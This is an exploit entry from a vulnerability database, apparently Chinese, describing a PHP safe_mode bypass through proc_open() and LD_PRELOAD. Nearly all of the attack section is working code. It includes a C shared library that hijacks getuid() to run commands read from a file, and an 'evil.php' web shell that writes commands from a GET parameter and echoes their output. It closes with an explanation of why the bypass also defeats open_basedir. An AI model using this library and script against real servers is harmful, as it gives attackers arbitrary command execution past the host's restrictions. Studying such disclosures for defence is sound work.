PHP safe_mode can be bypassed via proc_open() and custom environment.

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052346 漏洞类型
发布时间 2008-12-10 更新时间 2008-12-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2008120021
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
 This *should* work provided that you have met the following requirements:

1) A writable directory under documentroot to place those files (obviously)
2) You don't have proc_open in your disabled_functions list
3) You are able to compile a shared library on the same platform as the target web server.


Here is the library code, compile with cc -o a.so -fPIC -shared a.c

a.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int getuid(){
char *en;
char *buf=malloc(300);
FILE *a;unsetenv("LD_PRELOAD");
a=fopen(".comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a);

rename("a.so","b.so");

system(buf);

system("mv output.txt .comm1");

rename("b.so","a.so");

free(buf);

return 0;

}

*cut*And that is the PHP script:evil.php:
-------------------------
<?php$path="/var/www"; //change to your writable path
$a=fopen($path."/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
$descriptorspec = array( 0 => array("pipe", "r"), 1 => array("file", $path."/output.txt","w"), 2 => array("file", $path."/errors.txt", "a" ));

$cwd = '.';
$env = array('LD_PRELOAD' => $path."/a.so");

$process = proc_open('examplecommand', $descriptorspec, $pipes, $cwd, $env);

 // example command - should not succeedsleep(1);
$a=fopen($path."/.comm1","r");
echo "<pre><b>";

while (!feof($a)){
$b=fgets($a);
echo $b;
}

fclose($a);
echo "</pre>";?>

Why does that work?
-------------------

Because the PHP devs like to trust the environment. Especially the dynamic loader variables. If you have safe_mode enabled, you cannot execute anything except the binaries in the safe mode exec dir. They prepend a trailing slash to your command string and strip "..". Yet, proc_open() enables you to provide your own environment to pass to the new process. proc_open() executes "/bin/sh -c yourcommand" and even though "yourcommand" is invalid, the LD_PRELOAD variable is passed to /bin/sh.Then /bin/sh loads your "evil" library and then you can easily execute other commands, open files, etc, etc.The library in question overloads getuid() in a way that it takes input from a text file, executes it and writes the output into another text file. This also works against open_basedir restrictions since the library can be under the documentroot.The only tough thing from an attacker's perspective is to compile the library on the same platform as the attacked system.And it works on linux only..